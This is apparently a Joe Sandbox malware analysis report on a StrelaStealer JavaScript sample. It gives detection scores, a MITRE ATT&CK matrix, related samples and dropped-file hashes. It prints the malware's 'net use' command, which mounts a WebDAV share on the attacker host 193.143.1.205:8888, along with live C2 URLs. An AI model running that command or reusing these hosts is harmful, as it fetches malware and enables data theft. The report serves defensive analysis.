Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
11248212732259326130.js	5%	Virustotal		Browse
11248212732259326130.js	8%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/$y	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/ty	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod/C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.3411382454.0000020E7EC00000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2.C:	svchost.exe, 00000009.00000003.2178288042.0000020E7E9F0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/pace	net.exe, 00000007.00000002.2177133726.000001C595E08000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/	net.exe, 00000007.00000002.2177212931.000001C595E38000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2174680060.000001C595E5A000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2177133726.000001C595E08000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2175904749.000001C595E38000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/$y	net.exe, 00000007.00000002.2177212931.000001C595E38000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2175904749.000001C595E38000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/ty	net.exe, 00000007.00000002.2177212931.000001C595E38000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2175904749.000001C595E38000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588541
Start date and time:	2025-01-11 02:12:31 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 5s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	11248212732259326130.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/57@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 162.159.61.3, 172.64.41.3, 34.237.241.83, 50.16.47.176, 18.213.11.84, 54.224.241.105, 23.209.209.135, 2.23.242.162, 199.232.214.172, 2.16.168.107, 2.16.168.105, 13.107.246.45, 172.202.163.200, 23.56.162.204, 4.245.163.56
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, fs.microsoft.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
20:13:31	API Interceptor	18x Sleep call for process: powershell.exe modified
20:13:34	API Interceptor	1x Sleep call for process: net.exe modified
20:13:35	API Interceptor	2x Sleep call for process: svchost.exe modified
20:13:42	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	1907125702104121563.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	9748121671124198.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	193581927228935729.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	253742123626823892.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2254619394221055585.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1327128311804210730.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	6515707756641447.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	16433207582849010802.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2937924646314313784.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1709323591581122310.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	9748121671124198.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	253742123626823892.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	2254619394221055585.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	6515707756641447.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	2937924646314313784.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	31244102191071522677.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	3141714165326508962.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	4623256121503424814.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	15315323282846423758.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	395815050212839547.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	1907125702104121563.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	9748121671124198.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	795324045931728678.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2314572873239327086.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3048426634198639173.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	193581927228935729.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1627923942308705884.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1183413479481820270.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	19500684172643252.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	253742123626823892.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8307133935334674
Encrypted:	false
SSDEEP:	1536:gJhkM9gB0CnCm0CQ0CESJPB9JbJQfvcso0l1T4MfzzTi1FjIIXYvjbglQdmHDugC:gJjJGtpTq2yv1AuNZRY3diu8iBVqFM
MD5:	6DBE072DDA484B945B4F216513C74394
SHA1:	322889CD5C4EC40BDD6150F3C411F95E665336AE
SHA-256:	F9DD7E68D9C176F9131FB25F4088ED82DA065349C86B5D77AD2DD2D163A857BA
SHA-512:	AF3C83D97B9596A8B73BED1A698363FC48DEF9093DB4228BD7A0F2CC80DCFADB9FF5F3E680549EFB1B2AE2116728E751E96C6548EDC6A18206D92E4684EF298E
Malicious:	false
Preview:	...M........@..@.-...{5..;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@......................4..........E.[.rXrX.#.........`h.................h.5.......3.....X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x809ee7e1, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.6585547748523614
Encrypted:	false
SSDEEP:	1536:hSB2ESB2SSjlK/rv5rO1T1B0CZSJRYkr3g16P92UPkLk+kAwI/0uzn10M1Dn/di6:haza9v5hYe92UOHDnAPZ4PZf9h/9h
MD5:	C6EF17D33A07A69241FAFFEFE78AF51F
SHA1:	0479FAFA7525343A8BFCE67E674C8E4FF3EC8E7D
SHA-256:	0059388752408479896CDE3DF150C6D8999659A24B024BA6520D8CA7FCABFB53
SHA-512:	4B3B8504AAE95173B7BBE6BA859E2482B62A9810182D5D540261BFB98666541425A7461D23142C998665B17A049EE66586AE8D8D0EF01C709EA8E8AFB82E4752
Malicious:	false
Preview:	....... ...............X\...;...{......................0.z..........{..#....}..h.\|.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........-...{5..............................................................................................................................................................................................2...{..................................k.]U#....}....................=.#....}...........................#......h.\|.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08057690340170427
Encrypted:	false
SSDEEP:	3:Mhm/8YexwkdmurhVGuAJkhvekl1qkdzlltollrekGltll/SPj:MhmUzxRMGrxlZBGJe3l
MD5:	400E843943829CF23270648B0847D581
SHA1:	6F6CDA042DA3F4C6096A024FEB9510F7D6540731
SHA-256:	133DEF26A7749B026B8DE7FC3B0BC806C3B658AABA2D20D20B50B461BF600827
SHA-512:	D9E95FB2A1102ACF293AC27EDBF38DA8DE6CC7F11C1E8A70DACB8251CACBE17F9B5500EAE8547FEF0A41ADA35AF7A092BD8ACD1637458CE84EBC83351DADD96F
Malicious:	false
Preview:	.F.......................................;...{..#....}.......{...............{.......{...XL......{....................=.#....}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.190853335336401
Encrypted:	false
SSDEEP:	6:iO4qV/McL+q2P92nKuAl9OmbnIFUtSqV/McQZmwsqV/MctNVkwO92nKuAl9Ombjd:7n/sv4HAahFUtZ/a/L/j5LHAaSJ
MD5:	F5ED7A593BEFE5BDD7070E140B8D903D
SHA1:	E2D3901A17FE29F7569816E6D957853387F2DE56
SHA-256:	40B9134072C1B97F46CDD9211473FD8FFB89390B8D5BBB1E8E1BCD3B36B5901C
SHA-512:	D191A618F891207C09831D6BBFF9375E3F8D25C7B8E10AB8330CD15D40C43260A4F6771C7E7964054D02FBDB89868C53430D62198B82B7FCB90C4C77EE346AC4
Malicious:	false
Preview:	2025/01/10-20:13:34.913 1c28 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-20:13:34.916 1c28 Recovering log #3.2025/01/10-20:13:34.917 1c28 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.190853335336401
Encrypted:	false
SSDEEP:	6:iO4qV/McL+q2P92nKuAl9OmbnIFUtSqV/McQZmwsqV/MctNVkwO92nKuAl9Ombjd:7n/sv4HAahFUtZ/a/L/j5LHAaSJ
MD5:	F5ED7A593BEFE5BDD7070E140B8D903D
SHA1:	E2D3901A17FE29F7569816E6D957853387F2DE56
SHA-256:	40B9134072C1B97F46CDD9211473FD8FFB89390B8D5BBB1E8E1BCD3B36B5901C
SHA-512:	D191A618F891207C09831D6BBFF9375E3F8D25C7B8E10AB8330CD15D40C43260A4F6771C7E7964054D02FBDB89868C53430D62198B82B7FCB90C4C77EE346AC4
Malicious:	false
Preview:	2025/01/10-20:13:34.913 1c28 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-20:13:34.916 1c28 Recovering log #3.2025/01/10-20:13:34.917 1c28 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.161867433116424
Encrypted:	false
SSDEEP:	6:iO4qV/McQHQL+q2P92nKuAl9Ombzo2jMGIFUtSqV/McZSG1ZmwsqV/McZSQLVkwc:7n/ywyv4HAa8uFUtZ//X/L//jR5LHAaU
MD5:	6EC0DCF464BB41543BA4DD3139B431CB
SHA1:	4CC04F65924390571C71BA127DBD91B75DDB7D58
SHA-256:	EA9F9F171AD2DA996F882343FD6D713BE56989678E86C4F9E934B81EE3520437
SHA-512:	40C0E181CEBB732162AE3A846A53A4BA5EB2FE2E0AF8B1877199B964354C1773DF28B8293EB12A4C3D9C86E3008FF1186CD478FCACC020685FBF353AE497E5B5
Malicious:	false
Preview:	2025/01/10-20:13:34.991 1d18 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-20:13:34.993 1d18 Recovering log #3.2025/01/10-20:13:34.993 1d18 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.161867433116424
Encrypted:	false
SSDEEP:	6:iO4qV/McQHQL+q2P92nKuAl9Ombzo2jMGIFUtSqV/McZSG1ZmwsqV/McZSQLVkwc:7n/ywyv4HAa8uFUtZ//X/L//jR5LHAaU
MD5:	6EC0DCF464BB41543BA4DD3139B431CB
SHA1:	4CC04F65924390571C71BA127DBD91B75DDB7D58
SHA-256:	EA9F9F171AD2DA996F882343FD6D713BE56989678E86C4F9E934B81EE3520437
SHA-512:	40C0E181CEBB732162AE3A846A53A4BA5EB2FE2E0AF8B1877199B964354C1773DF28B8293EB12A4C3D9C86E3008FF1186CD478FCACC020685FBF353AE497E5B5
Malicious:	false
Preview:	2025/01/10-20:13:34.991 1d18 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-20:13:34.993 1d18 Recovering log #3.2025/01/10-20:13:34.993 1d18 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	508
Entropy (8bit):	5.047670631956576
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqnT/sBdOg2HXcaq3QYiubxnP7E4T3OF+:Y2sRdsgTAdMHW3QYhbxP7nbI+
MD5:	6F74C466274523ACBC6891D13E158BD9
SHA1:	972EFB11E9EC6669E0231F11D1EFB179173DC5B7
SHA-256:	E91308E91490DAE24FF176F7699E335AE75F7C45BB35189E4618B7EC82AB6724
SHA-512:	08CDCF6E6AAF1B52CADCE0E0571DDB94AF7CD8D11C5F91E1EFE5A986BE7AA3E5C002006FBE3BC56B3C4428BF1CAC2C64A55B03DFDB8B3538A5D293F6288FBE3F
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13340988966329963","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":144691},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF5469ec.TMP (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	508
Entropy (8bit):	5.047670631956576
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqnT/sBdOg2HXcaq3QYiubxnP7E4T3OF+:Y2sRdsgTAdMHW3QYhbxP7nbI+
MD5:	6F74C466274523ACBC6891D13E158BD9
SHA1:	972EFB11E9EC6669E0231F11D1EFB179173DC5B7
SHA-256:	E91308E91490DAE24FF176F7699E335AE75F7C45BB35189E4618B7EC82AB6724
SHA-512:	08CDCF6E6AAF1B52CADCE0E0571DDB94AF7CD8D11C5F91E1EFE5A986BE7AA3E5C002006FBE3BC56B3C4428BF1CAC2C64A55B03DFDB8B3538A5D293F6288FBE3F
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13340988966329963","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":144691},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\b50ac284-a61a-46a9-b290-d93e90d94d6a.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	508
Entropy (8bit):	5.051360204753677
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqwsBdOg2HQnAcaq3QYiubxnP7E4T3OF+:Y2sRdsodMHK3QYhbxP7nbI+
MD5:	3AEA69DB5C59DEBBB543BBC60C70A5A0
SHA1:	558F6363401F8D1AFF8966EC5168E97D27BC048A
SHA-256:	DBFF93BBC9B1F1D43AB9F3E1A9C37F5D05E5CD9A3DD6F6AC3DB35B16733FE564
SHA-512:	52FDCC4145F97ACCD878CA51E099FA6CD1A8C9DB63FAF42F556030C49DA096444937423D1DD7ACB348C5DE49CCDBB001252F0DDE321C9367722DAF361A1D63D8
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381118026679725","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":111851},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\d8bbaab5-4c03-41d5-a568-ffc1ac768c17.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	508
Entropy (8bit):	5.047670631956576
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqnT/sBdOg2HXcaq3QYiubxnP7E4T3OF+:Y2sRdsgTAdMHW3QYhbxP7nbI+
MD5:	6F74C466274523ACBC6891D13E158BD9
SHA1:	972EFB11E9EC6669E0231F11D1EFB179173DC5B7
SHA-256:	E91308E91490DAE24FF176F7699E335AE75F7C45BB35189E4618B7EC82AB6724
SHA-512:	08CDCF6E6AAF1B52CADCE0E0571DDB94AF7CD8D11C5F91E1EFE5A986BE7AA3E5C002006FBE3BC56B3C4428BF1CAC2C64A55B03DFDB8B3538A5D293F6288FBE3F
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13340988966329963","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":144691},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4099
Entropy (8bit):	5.237142317565437
Encrypted:	false
SSDEEP:	96:QqBpCqGp3Al+NehBmkID2w6bNMhugoKTNY+No/KTNcygLPGLLUoENB0:rBpJGp3AoqBmki25ZEVoKTNY+NoCTNL3
MD5:	AB446E683B7DD7A19E3C3D37E61D579F
SHA1:	79689CDAF2EE1638F0B3244F141DE3F0A61DB3E6
SHA-256:	EEB0D8375F6E56F63EE6F78D8C62F686B38B0082EDE4C31D885339D1E0B68AFD
SHA-512:	72185EEC51DFA556433CEF5BAE9313CB615EF938B8A04AA927395C00B71F73DF44931792A3129EE05A01B552E0DB6C340C6D3E8E0FB1254D486D723FA51FDF21
Malicious:	false
Preview:	*...#................version.1..namespace-.1a.o................next-map-id.1.Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/.0.K..r................next-map-id.2.Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/.1.m.Fr................next-map-id.3.Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.2.8.o................next-map-id.4.Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/.3.A-N^...............Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/-j..^...............Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/[.\|.a...............Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/....a...............Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.W.@o................next-map-id.5.Pnamespace-8fb46ac3_c992_47ca_bb04_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.1449534911636645
Encrypted:	false
SSDEEP:	6:iO4qV/8QL+q2P92nKuAl9OmbzNMxIFUtSqV/3OHG1ZmwsqV/3OHQLVkwO92nKuAo:7n/Byv4HAa8jFUtZ/31/L/3xR5LHAa8E
MD5:	4A8DA04E156CCB0D638433B38FD9554F
SHA1:	792538EBFFE817F011A209545CDEF0B34F490EE0
SHA-256:	C3609321CBBF8E5D3BC62D19E9DB008437037877585959EEC763D71083F771A6
SHA-512:	3DB4A048178940DE51BA25AD53208E776BFE96C2C9972B6CF37ADEC243E143DA11C50F2B594498EB345BB02BDD33C8C5240561EEF58E83424D3734C2863D3DD6
Malicious:	false
Preview:	2025/01/10-20:13:35.239 1d18 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-20:13:35.240 1d18 Recovering log #3.2025/01/10-20:13:35.240 1d18 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.1449534911636645
Encrypted:	false
SSDEEP:	6:iO4qV/8QL+q2P92nKuAl9OmbzNMxIFUtSqV/3OHG1ZmwsqV/3OHQLVkwO92nKuAo:7n/Byv4HAa8jFUtZ/31/L/3xR5LHAa8E
MD5:	4A8DA04E156CCB0D638433B38FD9554F
SHA1:	792538EBFFE817F011A209545CDEF0B34F490EE0
SHA-256:	C3609321CBBF8E5D3BC62D19E9DB008437037877585959EEC763D71083F771A6
SHA-512:	3DB4A048178940DE51BA25AD53208E776BFE96C2C9972B6CF37ADEC243E143DA11C50F2B594498EB345BB02BDD33C8C5240561EEF58E83424D3734C2863D3DD6
Malicious:	false
